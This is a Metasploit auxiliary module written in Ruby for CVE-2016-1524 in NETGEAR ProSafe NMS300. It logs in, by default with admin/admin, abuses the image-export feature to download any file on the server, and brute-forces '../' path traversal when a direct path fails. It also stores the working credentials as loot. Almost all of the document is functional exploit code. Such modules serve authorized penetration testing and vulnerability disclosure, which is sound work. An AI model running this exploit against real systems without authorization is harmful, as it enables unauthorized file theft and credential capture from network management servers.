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require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'NETGEAR ProSafe Network Management System 300 Authenticated File Download',
'Description' => %q{
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
The application has a file download vulnerability that can be exploited by an
authenticated remote attacker to download any file in the system..
This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2016-1524'],
['US-CERT-VU', '777024'],
],
'DisclosureDate' => 'Feb 4 2016'))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, "Application path", '/']),
OptString.new('USERNAME', [true, 'The username to login as', 'admin']),
OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']),
OptString.new('FILEPATH', [false, 'Path of the file to download minus the drive letter', '/Windows/System32/calc.exe']),
], self.class)
register_advanced_options(
[
OptInt.new('DEPTH', [false, 'Max depth to traverse', 15])
], self.class)
end
def authenticate
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
'method' => 'POST',
'vars_post' => {
'userName' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
'vars_get' => { 'method' => 'login' }
})
if res && res.code == 200
cookie = res.get_cookies
if res.body.to_s =~ /"loginOther":true/ && res.body.to_s =~ /"singleId":"([A-Z0-9]*)"/
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
'method' => 'POST',
'cookie' => cookie,
'vars_post' => { 'singleId' => $1 },
'vars_get' => { 'method' => 'loginAgain' }
})
if res && res.code == 200 && (not res.body.to_s =~ /"success":true/)
return nil
end
end
return cookie
end
return nil
end
def download_file (download_path, cookie)
filename = Rex::Text.rand_text_alphanumeric(8 + rand(10)) + ".img"
begin
res = send_request_cgi({
'method' => 'POST',
'cookie' => cookie,
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),
'vars_get' => {
'method' => 'add'
},
'vars_post' => {
'realName' => download_path,
'md5' => '',
'fileName' => filename,
'version' => Rex::Text.rand_text_alphanumeric(8 + rand(2)),
'vendor' => Rex::Text.rand_text_alphanumeric(4 + rand(3)),
'deviceType' => rand(999),
'deviceModel' => Rex::Text.rand_text_alphanumeric(5 + rand(3)),
'description' => Rex::Text.rand_text_alphanumeric(8 + rand(10))
},
})
if res && res.code == 200 && res.body.to_s =~ /"success":true/
res = send_request_cgi({
'method' => 'POST',
'cookie' => cookie,
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'getPage.do'),
'vars_get' => {
'method' => 'getPageList',
'type' => 'configImgManager',
},
'vars_post' => {
'everyPage' => 500 + rand(999)
},
})
if res && res.code == 200 && res.body.to_s =~ /"imageId":"([0-9]*)","fileName":"#{filename}"/
image_id = $1
return send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),
'method' => 'GET',
'cookie' => cookie,
'vars_get' => {
'method' => 'export',
'imageId' => image_id
}
})
end
end
return nil
rescue Rex::ConnectionRefused
print_error("#{peer} - Could not connect.")
return
end
end
def save_file(filedata)
vprint_line(filedata.to_s)
fname = File.basename(datastore['FILEPATH'])
path = store_loot(
'netgear.http',
'application/octet-stream',
datastore['RHOST'],
filedata,
fname
)
print_good("File saved in: #{path}")
end
def report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name: 'netgear',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run
cookie = authenticate
if cookie == nil
fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.")
else
print_good("#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully.")
report_cred(
user: datastore['USERNAME'],
password: datastore['PASSWORD'],
proof: cookie
)
end
if datastore['FILEPATH'].blank?
fail_with(Failure::Unknown, "#{peer} - Please supply the path of the file you want to download.")
return
end
filepath = datastore['FILEPATH']
res = download_file(filepath, cookie)
if res && res.code == 200
if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/)
save_file(res.body)
return
end
end
print_error("#{peer} - File not found, using bruteforce to attempt to download the file")
count = 1
while count < datastore['DEPTH']
res = download_file(("../" * count).chomp('/') + filepath, cookie)
if res && res.code == 200
if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/)
save_file(res.body)
return
end
end
count += 1
end
print_error("#{peer} - Failed to download file.")
end
end
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